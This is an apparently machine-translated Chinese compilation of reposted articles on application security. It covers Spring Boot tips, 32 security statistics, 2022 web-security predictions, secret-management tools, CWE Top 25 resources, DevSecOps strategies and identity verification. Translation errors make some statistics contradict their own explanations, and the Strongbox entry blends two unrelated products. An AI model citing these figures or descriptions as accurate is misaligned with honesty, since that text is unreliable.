除了不存在问题的gold -path视图之外，Vault还帮助您处理被黑客攻击时存在的场景。此时，重要的是撤销单个或多个秘密，可能由特定用户或特定类型的用户来撤销。Vault提供了一种自动化的方法，当时机成熟时，可以快速完成这项工作。

如果您对此感兴趣，请务必花一些时间研究Spring Vault，它在HashiCorp Vault上添加了一个抽象，为客户端提供基于Spring注释的访问，允许他们访问、存储和撤销机密，而不会在基础设施中丢失。下面的代码片段显示了使用注释从Spring Vault提取密码是多么容易。

@Value("${password}")

String password;

9. 使用OWASP的ZAP测试您的应用程序

OWASP ZAP安全工具是一个代理，它在运行时对您的活动应用程序执行渗透测试。这是一个流行的(超过4k明星)免费开源项目，托管在GitHub上。

OWASP ZAP用于发现漏洞的两种方法是Spider和Active Scan。Spider工具从url种子开始，它将通过每个响应访问和解析url种子，识别超链接并将它们添加到列表中。然后，它将访问这些新发现的url并递归地继续，为web应用程序创建url映射。活动扫描工具将自动测试您所选择的目标，针对一系列潜在的漏洞。它向您提供了一个报告，显示您的web应用程序可以在何处被利用，以及关于该漏洞的详细信息。

10. 您的安全团队是否进行了代码评审

代码评审对于任何高性能的软件开发团队都是必不可少的。在Okta，我们所有的生产代码和官方开源项目都需要经过专家安全团队的分析。您的公司可能没有安全专家，但是如果您正在处理敏感数据，那么您应该这样做!

不要让你的缺乏安全感成为困扰

Okta有一些很棒的t恤，上面写着“我发现你缺乏安全保障，令人不安”。当我们在机场旅行时，我们喜欢听到乳胶手套被戴上的声音。不要成为在Spring引导应用程序中缺乏安全性的开发人员!

我发现你缺乏安全保障令人不安

要了解更多关于Spring引导和应用程序中的安全性，请参阅以下教程和文章:

1. 开始使用Spring Security 5.0和OIDC
2. 使用React和Spring Boot构建一个简单的CRUD应用程序
3. 使用Spring Security和Thymeleaf将基于角色的访问控制添加到您的应用程序中
4. 安全性和API之旅
5. 准备在Heroku上生产一个Spring Boot应用程序

应用程序安全性是一个移动目标业务需求和对速度的需求促使许多开发组织快速，持续地发布软件，并以牺牲安全性为代价。虽然越来越多的组织已开始采用自动化测试和DevSecOps方法来解决其中一些问题，但应用程序安全状态仍然是大多数企业主要关注的领域。

以下是32个数据点的集合，可提供当前应用程序安全性的快照。我们收集了各种分析报告，供应商调查和研究报告中的统计数据，涵盖了围绕应用程序安全性的最重要趋势和实践。

以下是数字的应用程序安全性。

85.1：可以在外部轻松发现且访问不当的应用程序的平均数量

可以在黑暗网络上访问属于金融时报（FT）500列表中70％公司的网站，因为这些应用程序不受强身份验证和其他访问控制措施的保护。

资料来源：被遗弃的网络应用：英国“金融时报”500强企业的致命弱点，高科技桥梁安全研究

92％：具有可被利用的安全漏洞或弱点的Web应用程序的百分比

大约16.2％的美国公司拥有两个或更多外部Web应用程序，允许通过Web表单输入个人身份信息（PII），并运行易受攻击的SSL / TLS版本，有时还有其他Web软件的过时和易受攻击的版本。

资料来源：被遗弃的网络应用：英国“金融时报”500强企业的致命弱点，高科技桥梁安全研究

66％：组织经历过应用层DDoS攻击的IT高管比例

来自2018年调查的790名高管中超过一半（56％）表示，他们必须每月更换面向公众的应用程序，以应对安全威胁。其余的更改了Web应用程序。

资料来源：2018-2019全球应用与网络安全报告，Radware

13：通过DAST找到的构建公司网站上的平均漏洞数量

在使用动态应用程序安全性测试发现的漏洞中，平均有五个是严重的。金融，零售和医疗保健 - 在最具针对性的行业中 - 具有较少的严重漏洞，其网站平均分别为1.6,2.7和1.7。

资料来源：2018年应用程序安全统计报告，WhiteHat Security

86％：具有一个或多个会话管理漏洞的已测试应用程序的百分比

由于输入验证错误（例如未能清理用户输入或未正确验证它），攻击者能够在大量情况下劫持或窃听用户会话。这是第二种最常见的错误类型，59％的测试应用程序具有一个或多个错误。

资料来源：2018年Trustwave全球安全报告

16％：中等，高或严重风险的测试应用程序中的安全漏洞百分比

在渗透测试期间发现的最常见的高风险漏洞是跨站点脚本错误，默认凭据使用和垂直权限提升漏洞。

资料来源：2018年Trustwave全球安全报告

19,954：2017年来自259家供应商的1,865份应用程序检测到的漏洞总数

这个数字比2016年发现的17,147个缺陷增加了14％，与五年前相比增长了38％。

来源：漏洞评论2018年，Flexera软件

14：2017年报告的零日漏洞总数

在披露之前利用漏洞的零日漏洞数量比2016年的23个零日漏洞减少了近40％。零日攻击可能造成重大损失，但数据显示它们仍然是一种罕见的威胁。

来源：漏洞评论2018年，Flexera软件

86％：在披露后24小时内提供补丁的漏洞百分比

补丁可用性的速度使组织有更多机会在2017年被利用之前修复严重且影响较大的应用程序漏洞。这一转变标志着2016年增加了5个百分点。

来源：漏洞评论2018年，Flexera软件

38：无论严重性如何，修补Web应用程序漏洞所需的平均天数

通常，企业需要54天来修补低严重性漏洞，花34天时间修复2018年第二季度的高严重性漏洞，平均需要38天才能修补Web应用程序漏洞，无论严重程度如何。

来源：生产中Web应用程序的安全报告，tCell

70％：由开源软件，第三方库等组成的应用程序中的代码比例。

开源软件，第三方库和其他可重用组件中的严重漏洞数量继续增加，使得不采用跟踪第三方组件使用措施的团队几乎不可能进行补救。

资料来源：2018年应用程序安全统计报告，WhiteHat Security

45％：在DAST期间发现的导致信息泄漏的漏洞百分比

在动态应用程序安全测试期间发现的漏洞几乎有一半导致数据泄露。其他三个最可能的DAST漏洞是内容欺骗（40％），跨站点脚本（38％）和传输层保护不足（23％）。

资料来源：2018年应用程序安全统计报告，WhiteHat Security

44％：组织发现主要存在Nessus缺陷的受访者的百分比

在本次调查中，有437名受访者表示，他们的组织主要通过Nessus发现应用程序漏洞。该数字比任何其他漏洞评估产品或工具高20分。

资料来源：2018年应用安全报告，网络安全内部人员

70％：主要进行笔测试以测试安全控制有效性的组织的百分比

虽然七分之一的人说进行渗透测试的主要原因是验证其安全控制的有效性，但十分之六的人使用笔测试来识别可能被攻击者利用的弱点。大约一半是为了满足法规或合规要求。

资料来源：2018年网络安全和渗透测试调查，由Decision Analyst主持并由SecureAuth + Core Security委托

84％：使用红色和蓝色团队安全测试的组织的百分比

在笔测试中，超过八成的组织使用红色和蓝色团队安全测试，因为他们认为这些方法是有效的。与小型公司相比，中型和大型公司更倾向于进行渗透测试。

资料来源：2018年网络安全和渗透测试调查，由Decision Analyst主持并由SecureAuth + Core Security委托

16％：组织不进行任何渗透测试的IT决策者的比例

在202名IT决策者的调查中，大约六分之一的受访者表示，他们所代表的组织不会进行任何渗透测试，或者如果他们这样做则不知道。 6％的人每年不到一次，75％的人表示他们的组织每年进行几次笔测试。

资料来源：2018年网络安全和渗透测试调查，由Decision Analyst主持并由SecureAuth + Core Security委托

31％：因开源而遭受破坏的组织的百分比

在对2,076名IT专业人员进行的调查中，近三分之一的受访者表示，他们的组织在其软件中遇到了与易受攻击的开源组件相关的漏洞。这个数字比2017年增加了55％。

资料来源：2018年DevSecOps社区调查，SonaType

38％：拥有软件中所有组件的完整物料清单的公司比例

不到四分之一的组织拥有完整的材料清单，用于其软件产品中的所有组件。近三分之二（62％）的人无法控制其应用中使用的组件。

资料来源：2018年DevSecOps社区调查，SonaType

48％：缺乏时间花在他们认为重要的安全问题上的开发人员的百分比

近一半的开发人员表示他们没有足够的时间花在安全上，即使他们意识到它的重要性。

资料来源：2018年DevSecOps社区调查，SonaType

37％：执行DevOps的组织的百分比，他们说静态应用程序分析工具至关重要

虽然有近四分之一的公司拥有成熟的DevOps实践，但静态分析工具至关重要，但只有12％没有DevOps实践的组织表示同样的事情。大约三分之一（33％）拥有成熟DevOps的组织使用动态分析工具，而只有8％的组织没有采用DevOps。

资料来源：2018年DevSecOps社区调查，SonaType

21％：通过SAST发现的与未修补的库相关的漏洞的比例

虽然通过静态应用程序安全性测试发现的近四分之一的缺陷与未修补的库有关，但在SAST期间发现的其他常见漏洞类包括应用程序配置错误（10.5％），跨站点脚本（8.3％）和明文密码（6.5％） ）。

资料来源：2018年应用程序安全统计报告，WhiteHat Security

28％：拥有应用程序安全风险管理流程的CIO和CTO的百分比

虽然超过四分之一的C级高管负责应用风险，但首席信息安全官（CISO）仅在10％的组织中承担责任 - 尽管他们通常是第一个受到指责的人。安全漏洞。

资料来源：2018年应用保护报告，F5实验室

13％：访问问题和攻击导致的Web应用程序违规比例

在2017年和2018年第一季度，与访问相关的问题引发了十分之一的问题。此类问题的示例包括访问控制错误配置，强力密码破解以及来自被盗密码的凭据填充。

资料来源：2018年应用保护报告，F5实验室

52％：使用第三方组件的开发人员在披露漏洞时更新的百分比

在披露新的安全漏洞时，大约一半在其应用程序中使用第三方组件的开发人员更新组件。其中近一半的人不会更新已知的易受攻击的组件，从而使应用程序面临不必要的风险。

来源：由Veracode委托的Vanson Bourne DevSecOps调查报告

71％：表示公司有正式的应用程序计划的开发人员的比例

在2018年对400名开发人员的调查中，25％的人表示他们的组织没有应用程序安全计划，4％的人表示他们不知道他们的组织是否有一个。

来源：由Veracode委托的Vanson Bourne DevSecOps调查报告

19％：不熟悉OWASP Top 10的开发人员比例

近五分之一的开发人员表示他们根本不熟悉十大OWASP应用安全风险。几乎四分之一（22％）的软件设计师并不熟悉，相比之下，20％的团队领导者和10％的团队经理都不熟悉。

来源：由Veracode委托的Vanson Bourne DevSecOps调查报告

90％：OWASP Top 10未涵盖至少一个缺陷的应用程序的百分比

10个应用程序中有9个至少有一个OWASP Top 10未解决的安全漏洞。几乎一半（49％）的测试应用程序有一个或多个严重或高严重性的安全漏洞，OWASP Top 10未涵盖这些漏洞。

资料来源：2018年应用安全研究更新，Micro Focus Fortify软件安全研究团队

70亿美元：到2023年估计的应用程序安全市场规模

安全扫描工具的企业支出将在不久之后增加一倍以上，并为增长带来很多动力。

资料来源：Forrester Research

25％：表示其组织的应用程序支出的IT和安全团队的百分比是足够的

四分之一的组织在对1,400名IT和安全从业者的调查中表示，他们的组织正在充分利用应用程序安全性。近一半（48％）的业务经理认为应用程序性能和速度比安全性更重要。

资料来源：2018年全球应用安全研究，Arxan Technologies

65％：如果客户受到影响，将增加app sec的公司比例

只有当客户或最终用户在违规行为中受到负面影响时，才有超过六家公司会增加应用安全支出。尽管事实上近四分之三的组织可能，最有可能或肯定在过去的12个月内遇到过与应用程序相关的网络攻击或漏洞。

资料来源：2018年全球应用安全研究，Arxan Technologies

45％：面临已知但未修补的云应用程序缺陷攻击的公司百分比

运行云应用程序的组织中几乎有一半经历过针对已知但未修补的漏洞或先前未知的漏洞以及已知未修补的操作系统漏洞的一次或多次攻击。

资料来源：甲骨文和毕马威云威胁报告2018

30％：具有云应用程序的公司称识别漏洞的比例是优先考虑的因素

近三分之一的云应用程序企业表示，识别应用程序软件漏洞是其最关键的安全任务之一。组织希望提高对云托管工作负载的可见性的其他领域包括识别不合规的工作负载配置，异常工作负载活动和异常特权用户活动。

资料来源：甲骨文和毕马威云威胁报告2018

哪个app sec统计数据可以让你和你的团队在晚上工作？在下面的评论部分分享您的想法，并与您的同行互动。

原文：https://techbeacon.com/security/32-application-security-stats-matter

本文：http://pub.intelligentx.net/node/492

讨论：请加入知识星球或者小红圈【首席架构师圈】

Web 应用程序网络安全的过去一年并不平静，如果 PerimeterX 首席技术官 Ido Safruti 对来年的预测是准确的，那么这将是保护 Web 应用程序的又一年努力。

Safruti 预测 2022 年，定制的恶意软件、机器人攻击和登录后欺诈激增，导致领导者最终面对在线欺诈的现实：它变化很大，目标变得越来越有选择性，从登录前到输入用户名和密码后。 “因此，我们相信 2022 年将是全面账户保护之年，”Safruti 说。

通过“全面的帐户保护”，Safruti 意味着超越老式边界或城堡和护城河身份验证的安全性。 “这意味着从用户帐户完整性的角度来处理安全性，并在整个应用程序旅程和帐户生命周期中提供多层保护，”Safruti 说。想想零信任和其他形式的身份验证，它们跟踪行为并记录操作以查找可疑行为。

Safruti 和 PerimeterX 对 2022 年的 Web 应用程序安全性做出了以下五项预测，整个情况看起来像是一场解决方案有限的安全风暴即将来临。

如果你对这些预测是否可靠感到好奇，Safruti 会指着他去年预测的成绩单。五个中的三个，即网络犯罪社区将变得更强大、GraphQL 将成为安全风险以及闪购将由机器人主导，被评为正确。 DevSecOps 成为主流被认为是“难以判断”，并且认为在线购买店内取货将是一种大型新型欺诈行为的想法被贴上了错误的标签。

预计供应链攻击防范将变得更加重要

SolarWinds 攻击背后的组织 Nobelium 已经重新浮出水面，使用类似的方法攻击其他目标，这些目标本身就是利用第三方软件的弱点进行的供应链攻击。结合日益严格的数据保护法规，Safruti 预测，在这一年，企业开始将下游供应商的弱点视为严重的责任问题，而不仅仅是开展业务的成本。

“92% 的网站决策者对其软件供应链缺乏完整的可见性。获得这种可见性将是旨在防止重大数据泄露并避免在 2022 年及以后发生大规模监管罚款的公司的首要任务，”Safruti 说。

自定义恶意软件将攻击 100 个最大市场中的 50% 以上

众所周知，可以在互联网上找到恶意软件进行销售，并且可以对其开发人员进行定制、销售和支持，并且随着时间的推移，所述恶意软件的开发人员只能进行更多定制调整，以使他们的恶意软件更有效的。

Safruti 说，商品化的攻击工具很便宜，并且可以在线获取免费视频，帮助新兴的网络犯罪分子学习使用他们的工具。 “我们正在目睹‘犯罪即服务’(CaaS) 生态系统的兴起，这推动了针对特定应用程序或网站的定制恶意软件的兴起。由于进入门槛低且产生结果的潜力很大，定制恶意软件将成为2022 年更流行的攻击媒介，”Safruti 说。

登录后环境将开始受到安全关注

我们生活在两个安全世界中：旧的依赖登录来验证身份，而新的则用户名和密码远不够安全，无法依靠它来验证一个人是谁。说他们是。即使是多因素身份验证也只会增加外围安全性，使其有益但不是永久的解决方案。

“到 2022 年，我们预计在线企业将采用解决此问题的解决方案。了解用户是否确实是他们所说的人——以及他们的登录后活动是否合法——将是维护账户完整性的关键，”Safruti 说.

欺诈将导致一家大公司今年贬值

“在过去，许多公司将欺诈视为开展业务的成本，”Safruti 说。现在情况已不再如此，因为他预测针对在线业务的整体欺诈行为将增加到对公司产生重大影响的程度。

“最近的研究表明，不良机器人对在线零售商的运营成本产生了 75% 到 80% 的负面影响，这相当于净收入的 18% 到 23%。当欺诈转化为对每股收益（EPS）的几美分的影响时)，它将成为企业变得更加积极主动的警钟，”Safruti 说。

至少有一家大型零售商会放弃密码

暗网上有很多可供出售的凭证。例如，Safruti 指出 2021 年 6 月发布的 1.2TB 数据库包含来自超过 320 万台 Windows 计算机的信息，其中包括超过 4 亿个有效的 Web 登录 cookie。

“由于被盗凭据如此广泛，获取用户名和密码不再是对网络犯罪的威慑——因此企业需要重新考虑他们的欺诈预防策略，”Safruti 说。他预测，2022 年将是一个或多个面向消费者的大型企业“通过采用不仅仅依赖凭证的更强大的解决方案，完全消除对凭证的需求”的一年。

原文：https://www.techrepublic.com/article/5-predictions-to-help-you-focus-yo…

确保对您的业务重要的东西。

当库伊特在那里工作的时候，想很多关于云的秘密。除了选择和执行各种工具外，您还必须采用和关联身份和访问管理方面的最佳实践。

无论您是开发人员还是系统管理员专业人员，您都需要明确指出，您有正确的选择工具来确保您的环境安全。应用程序需要访问适当的配置数据才能正确运行。虽然大多数配置数据是非敏感的，但有些数据需要保密。这些线被称为秘密。

好吧，如果您正在构建一个可靠的应用程序，那么您的函数很可能需要访问您保存的机密或任何其他类型的敏感信息。这些秘密包括：

1. API密钥
2. 数据库凭据
3. 加密密钥
4. 敏感配置设置（电子邮件地址、用户名、调试标志等）
5. 密码

然而，安全地处理这些秘密可能会在以后被证明是一项艰巨的任务。因此，以下是对开发人员和系统管理员的一些提示：

修补功能依赖项

始终记住跟踪函数中使用的库，并通过持续监视来标记漏洞。

使用API网关作为安全缓冲区

不要将函数精确地暴露给用户交互。利用云提供商的API网关功能，在您的功能之上包含另一层安全性。

保护和验证传输中的数据

请确保利用HTTPS作为安全通信通道，并验证SSL证书以保护远程身份。

遵循应用程序代码的安全编码规则

由于没有服务器可攻击，攻击者会将注意力转向应用程序层，因此请格外小心保护您的代码。

在安全存储中管理机密

敏感信息很容易被泄露，如果您忽视采用适当的秘密管理解决方案，过期的凭证很容易受到彩虹表攻击。记住不要在应用程序系统、环境变量或源代码管理系统中存储机密。

由于缺乏知识和资源等原因，合作世界的关键管理非常痛苦。相反，一些公司将加密密钥和其他软件机密直接嵌入到使用它们的应用程序的源代码中，从而带来了泄露机密的风险。

由于缺乏太多现成的解决方案，许多公司都在寻求建立自己的机密管理工具。这里有一些，你可以利用你的需求。

Vault

HashiCorp Vault是一个安全存储和访问机密的工具。

它提供了一个统一的秘密接口，同时保持严格的访问控制和记录全面的审计日志。它是一种保护用户应用程序和基础的工具，在出现漏洞时限制表面空间和攻击时间。它提供了一个API，允许基于策略访问机密。API的任何用户都需要验证并且只查看他有权查看的机密。

使用256位AES加密保险库数据。

它可以在各种后端（如Amazon DynamoDB、Consult等）中积累数据。对于audit services，Vault支持记录到本地文件、Syslog服务器或直接记录到套接字。Vault将记录有关执行操作的客户端、客户端IP地址、操作以及执行操作的时间的信息

启动/重新启动总是需要一个或多个操作员打开保险库。它主要使用代币。每个令牌被赋予一个策略，该策略可以约束操作和路径。保险库的主要功能包括：

• 它在不存储数据的情况下对数据进行加密和解密。
• Vault可以根据需要为某些操作生成机密，例如AWS或SQL数据库。
• 允许跨多个数据中心进行复制。
• 保险库具有内置的秘密撤销保护。
• 用作具有访问控制详细信息的机密存储库。

AWS机密管理者

你期望AWS出现在这个列表上。你不是吗？

AWS有解决所有问题的方法。

AWS Secrets Manager使您能够快速旋转、管理和检索数据库凭据、API密钥和其他密码。使用Secrets Manager，您可以保护、分析和管理访问AWS云、第三方服务和本地功能所需的机密。

机密管理器使您能够使用细粒度权限管理对机密的访问。AWS Secrets Manager的主要功能包括：

1. 使用加密密钥加密静态机密。
2. 然后通过TLS安全地传输秘密
3. 提供有助于调用Secrets Manager API的代码示例
4. 它有客户端缓存库来提高可用性并减少使用机密的延迟。
5. 配置Amazon VPC（虚拟私有云）端点，以保持AWS网络内的流量。

Keywhiz

Square Keywhiz帮助处理基础设施机密、GPG密钥环、数据库凭据，包括TLS证书和密钥、对称密钥、API令牌和外部服务的SSH密钥。Keywhiz是一个处理和分享秘密的工具。

Keywhiz的自动化使我们能够无缝地分发和设置服务的基本机密，这需要一个一致和安全的环境。Keywhiz的主要特点是：

• Keywhiz服务器提供用于收集和管理机密的JSON api。
• 它只将所有秘密存储在内存中，从不重现到磁盘上
• 用户界面是用AngularJS制作的，因此用户可以验证和使用UI。

Confidant

confident是一个开源的秘密管理工具，它可以安全地维护用户友好的存储和对机密的访问。confidentint在DynamoDB中以追加的方式存储秘密，并使用Fernet对称认证密码学为每一次修改生成一个唯一的KMS数据密钥。

它提供了一个AngularJS web界面，为最终用户提供了高效管理机密、服务机密形式和更改记录的功能。其中一些功能包括：

• KMS身份验证
• 静态加密版本化机密
• 用于管理机密的用户友好的web界面
• 生成可应用于服务到服务身份验证或在服务之间传递加密消息的令牌。

Strongbox

Strongbox是一个方便的工具，用于处理、存储和检索访问令牌、私有证书和加密密钥等机密。Strongbox是一个客户端便利层。它为您维护AWS资源，并安全地配置它们。

通过深度搜索，您可以快速有效地检查您的整套密码和机密。您可以选择在本地或云上存储凭据。如果选择云，则可以选择存储在iCloud、Dropbox、OneDrive、Google Drive、WebDAV等。

Strongbox与其他密码安全兼容。

Azure密钥库

在Azure上托管应用程序？如果是，那么这将是一个不错的选择。

Azure密钥保险库允许用户在特定位置管理其云应用程序的所有机密（密钥、证书、连接字符串、密码等）。它与Azure中秘密的来源和目标集成在一起。它可以被Azure之外的应用程序进一步利用。

您还可以通过将加密密钥存储在云中（而不是内部部署）来减少云应用程序的延迟，从而提高性能。

Azure可以帮助实现数据保护和法规遵从性要求。

Docker secrets

Docker secrets允许您轻松地将机密添加到集群中，并且它只在相互验证的TLS连接上共享。然后数据到达Docker secrets中的manager节点，并自动保存到内部Raft store中，保证数据加密。

Docker secrets可以很容易地应用于管理数据，从而将数据传输到有权访问数据的容器。它可以防止机密在应用程序用完时泄露。

Knox

由社交媒体平台Pinterest开发的Knox解决了他们手工管理密钥和保持审计跟踪的问题。Knox是用Go编写的，客户机使用restapi与Knox服务器通信。

Knox使用易失性临时数据库来存储密钥。它使用带有主加密密钥的AES-GCM对存储在数据库中的数据进行加密。Knox也可以作为Docker映像提供。

结论

我希望上面的内容能让您了解一些管理应用程序凭据的最佳软件。

原文：https://geekflare.com/secret-management-software/

本文：http://jiagoushi.pro/node/1085

讨论：请加入知识星球【首席架构师圈】或者小号【jiagoushi_pro】

点击任何列表中的CWE ID，您将被引导到MITRE CWE站点中的相关站点，在那里您可以找到以下内容：

• 前25名的排名，
• 链接到完整的CWE条目数据，
• 弱点流行率和后果的数据字段，
• 补救成本，
• 容易被发现，
• 代码示例，
• 检测方法，
• 攻击频率和攻击者意识
• 相关CWE条目，以及
• 针对这一弱点的相关攻击模式。

前25个软件错误站点的每个条目还包括相当广泛的预防和补救步骤，开发人员可以采取这些步骤来减轻或消除弱点。

档案文件

• View the Top 25 Software Errors for 2010 Here
• View the Top 25 Software Errors for 2009 Here

CWE前25名

帮助消除前25个软件错误的资源

SAN应用程序安全课程

SANS应用程序安全课程旨在通过提供世界级的教育资源来设计、开发、采购、部署和管理安全软件，将安全性深入人心。应用程序安全系是具有数十年应用程序安全经验的实战人员。我们课程中涵盖的概念将适用于您返回工作岗位当天的软件安全计划：

• DEV522：保护Web应用程序安全要素
• DEV534：安全DevOps：实用介绍
• DEV540：安全的DevOps和云应用程序安全

• DEV522: Defending Web Applications Security Essentials
• DEV534: Secure DevOps: A Practical Introduction
• DEV540: Secure DevOps & Cloud Application Security

SANS维护一个应用程序安全网络人才评估，该评估衡量安全编码技能，允许程序员确定其安全编码知识的差距，并允许买家确保外包程序员有足够的编程技能。组织可以在https://www.sans.org/cybertalent/assessment-detail?msc=top25hp#appsec。

开发人员安全意识培训

SANS安全意识开发人员产品根据需要提供精确的软件安全意识培训，所有这些都是在您的办公桌上进行的。应用安全意识培训包括30多个模块，平均7-10分钟，最大限度地提高学习者的参与度和保持力。这些模块涵盖了PCI第6.5节法规遵从性主题的全部广度和深度，以及对安全软件开发非常重要的项目。

前25个错误列表将定期更新，并发布在SANS和MITRE站点

CWE Top 25 Software Errors Site

MITRE在美国国土安全部国家网络安全部门的支持下维护CWE（Common Weakness Enumeration）网站，详细描述前25个软件错误，并提供减轻和避免这些错误的权威指导。该站点还包含700多个额外软件错误、设计错误和架构错误的数据，这些错误可能导致可利用的漏洞。CWE网站

SAFECode—

软件保证卓越代码论坛（成员包括EMC、Juniper、Microsoft、Nokia、SAP和Symantec）已出版了两本优秀的出版物，概述了软件保证的行业最佳做法，并为实施安全软件开发的经验证方法提供了实用建议。

安全软件开发基本实践第3版

• https://safecode.org/publications/#安全代码出版物-2362个
• 软件完整性控制概述
• https://safecode.org/publications/#安全代码出版物-189个
• 软件供应链完整性框架
• https://safecode.org/publications/#安全代码出版物-188
• 安全软件开发的基本实践
• https://safecode.org/publications/#安全代码出版物-186个
• 软件保证：当前行业最佳实践概述
• https://safecode.org/publications/#安全代码出版物-185个

软件保障社区资源网站和DHS网站

作为DHS风险缓解工作的一部分，为了提高网络资产的弹性，软件保证计划旨在减少软件漏洞，最大限度地减少利用，并解决如何以可预测的执行方式定期获取、开发和部署可靠和可信赖的软件产品，以及提高诊断能力分析系统是否存在可利用的弱点。

近十几家软件公司提供自动化工具来测试这些错误的程序。

原文：https://www.sans.org/top25-software-errors/

本文：http://jiagoushi.pro/node/1078

讨论：请加入知识星球【首席架构师圈】或者小号【jiagoushi_pro】

越来越多的IT专业人士看到DevSecOps是一种在开发过程早期集成安全措施以提高生产代码质量的实践，是未来应用程序开发的主要支柱。
其中很大一部分源于通过采用DevOps，容器和微服务的架构以及支持自动化工具链和框架来加速应用程序开发的趋势。这一趋势为网络犯罪分子提供了机会，他们越来越关注这些类型环境中的安全漏洞和漏洞。鉴于当今的开发速度和体积以及更大的环境复杂性，将DevSecOps作为优先事项从未如此重要。
无论您的角色是CISO，开发人员，安全架构师，运营工程师还是DevOps团队的其他成员，了解如何在这些新环境中采取主动和预防性的应用程序安全性方法非常重要。特别是，这意味着关注：

1. 使用API​​保护环境
2. 实施持续安全
3. 采用不断发展的安全实践
4. 保护敏感数据
5. 维护应用程序漏洞的当前最佳实践

继续阅读以了解有关这五种安全策略的更多信息。

＃1：了解如何使用API​​将应用程序安全性部署到环境中

Web应用程序防火墙（WAF）解决方案对于现代应用程序环境变得更加重要，因为它们添加了专门的安全功能，补充了API网关等组件，这些组件本身只执行此过滤的基本功能。为了确保API安全性，需要使用WAF解决方案来检查传入和传出的HTTP / HTTPS，就像使用任何其他Web应用程序一样，并提供诸如性能分析，阻止攻击，僵尸程序和DDoS保护，防止帐户接管等功能。在此处详细了解Imperva可以为API安全做些什么。
您的WAF还应该帮助保护新应用程序环境中的应用程序和数据，并在配置新服务或容器时随时自动部署。

＃2：实施持续安全性

安全团队面临的挑战是开发安全软件，同时建立适当的安全实践，这些实践不会在开发过程中产生瓶颈并可能影响上市时间。这需要旨在轻松无缝集成到DevSecOps工作流程中的解决方案。

连续，自动化的安全性

DevOps通常使用称为持续实施 - 持续部署（CI-CD）的实践（图1），它将开发和启动过程紧密结合在一起，以推出功能和应用程序。从安全角度来看，这意味着管理WAF解决方案的操作方面应该是自动化和模板化的，这样可以轻松扩展您的安全性。因此，无论您是启动新服务器，部署新应用程序，还是将现有服务从一台服务器移动到另一台服务器，都会自动部署链接到该服务的安全策略和配置层。
安全解决方案的可编程性有助于自动扩展，并支持在部署新应用程序和微服务时快速部署安全资源。在集成安全解决方案时，利用AWS Cloud Formation或Microsoft Azure Resource Manager（ARM）等云特定模板可以是在云环境中实现此类自动扩展的一种方法。

图1：持续集成 - 持续开发（CI-CD）的过程是DevOps中常用于构建和部署应用程序的互锁工作流程

＃3：坚持继续发展的安全解决方案

除非您使用的安全解决方案也在不断发展以跟上新的应用程序环境和工具，否则很难实现以前的策略并继续发展您的安全立场。
例如，现代应用程序方法和基础架构（包括DevOps，API，微服务，公共云，容器等）需要安全解决方案，旨在提供：

1. 高可用性：您的所有解决方案都应通过允许您的组织保护敏感Web应用程序而不会引入过多的IT开销或阻止合法的Web流量来确保稳定的业务连续性。
2. 集成：选择支持DevOps中使用的适当的自动化工具链和其他编排技术的安全解决方案，以便在部署新的应用程序，实例和容器时，安全功能可以随时随地自动实现。这通常需要通过支持DevOps工作流，云部署和编排的API来暴露功能。
3. 功能/功能奇偶校验：您的解决方案应该与应用程序是否跨公共云和私有云，容器或内部部署无关。这使您可以在不影响安全性的情况下将传统开发过渡到敏捷DevOps。
4. 集中管理：从单一管理控制台管理内部部署和云网关，以整合和简化混合云部署的安全性。

＃4：保护您的数据

虽然DevSecOps的大部分重点都放在应用程序和基础架构上，但不要忽视数据。随着应用程序和基础架构变得更加分散，数据安全性变得更加重要，其复杂的相互依赖性可能跨越服务，API，容器和云。
在这个日益复杂的应用程序生态系统中保护数据的一种方法是使用以数据为中心的审计和保护（DCAP）解决方案。 DCAP解决方案通过实时监控，审计以及安全和权限管理，帮助您保护数据库，文件存储和大数据存储库中的数据。
使用DCAP解决方案，您可以：

1. 实时分析所有数据库活动。您可以监控访问数据库的所有用户，无论是通过浏览器，移动应用程序还是桌面应用程序。
2. 采取措施避免危害和数据丢失，例如根据安全策略阻止对敏感数据的访问。

＃5：继续做你正在做的事

虽然应用程序开发和体系结构实践正在发生变化，但相同的Web安全漏洞仍然会威胁到DevOps环境，因此金标准安全最佳实践仍然具有相关性。如果暴露API，您的攻击面可能会更大，因为代码可能更频繁地部署 - 包括您堆栈中可能存在的第三方软件和服务，这会增加您引入漏洞的风险和速度。
出于所有这些原因，您的组织应继续关注：

1. 通过强化基础架构和服务来减少攻击面
2. 通过加密静态通信和数据来确保机密性
3. 实施细粒度访问控制
4. 过滤恶意软件并阻止已知的错误流量
5. 监控和检测异常行为以防止所有类型的攻击，包括：分布式拒绝服务（DDoS），滥用功能，访问冲突，利用等等
6. 使用日志记录和分析审核访问和事件

将安全性集成到您的工作流程中

今天的应用程序，服务和API是寻求访问您的环境的网络犯罪分子的有吸引力的目标。管理和保护新的应用程序生态系统需要应用与过去相同的安全最佳实践，还需要使用为处理当今环境而构建的解决方案。

要了解有关Imperva解决方案如何集成到您的DevSecOps工作流程的更多信息，请下载我们的电子书：“DevOps，API和微服务的五种安全策略”。

原文：https://www.imperva.com/blog/security-strategies-for-devops-apis-containers-and-microservices/

本文：http://pub.intelligentx.net/security-strategies-devops-apis-containers-and-microservices

讨论：请加入知识星球或者小红圈【首席架构师圈】

在注册期间及以后验证您的客户身份。

什么是身份验证？

身份验证，有时也称为身份证明，是验证最终用户身份的过程，以确保他们的数字身份与其真实身份相关联。 这让您更加确信您的用户从一开始就是他们声称的正确人选。

身份验证如何使我的业务受益？

平衡便利性和安全性

与替代方法和传统方法相比，通过让用户在不影响安全性的情况下简单地验证其身份来减少挫败感。

防止欺诈活动

在降低帐户创建和接管风险以及降低下游交易各方风险的同时加强安全性。

满足监管要求

保持对了解您的客户 (KYC) 和其他法规的遵守，同时支持数字化转型计划。

身份验证提供哪些功能？

身份验证解决方案能够：

• 简化的自助服务帐户创建和重置
• 使用经过验证的属性自动填写表格
• 将身份验证嵌入到新的或现有的应用程序和工作流程中
• 将客户身份与设备或凭证相关联

身份验证的工作原理

面部活泼

系统会提示用户提供使用 ISO 认证技术被动检查活跃度的自拍照。

文件认证

用户使用移动设备的摄像头扫描政府身份证的正面和背面，并使用超过 150 次加权分析和机器学习来检查身份证的真实性。

身份验证

现场自拍与用户在政府身份证上的照片进行比较，结果与用户的身份记录相关联。

以数据为中心与以文档为中心的身份验证

以数据为中心的身份验证依赖于向用户询问可与可靠来源进行比较的信息。 不幸的是，不良行为者和软件机器人可以轻松获取这些数据——包括构建通过许多遗留或替代检查的合成身份。

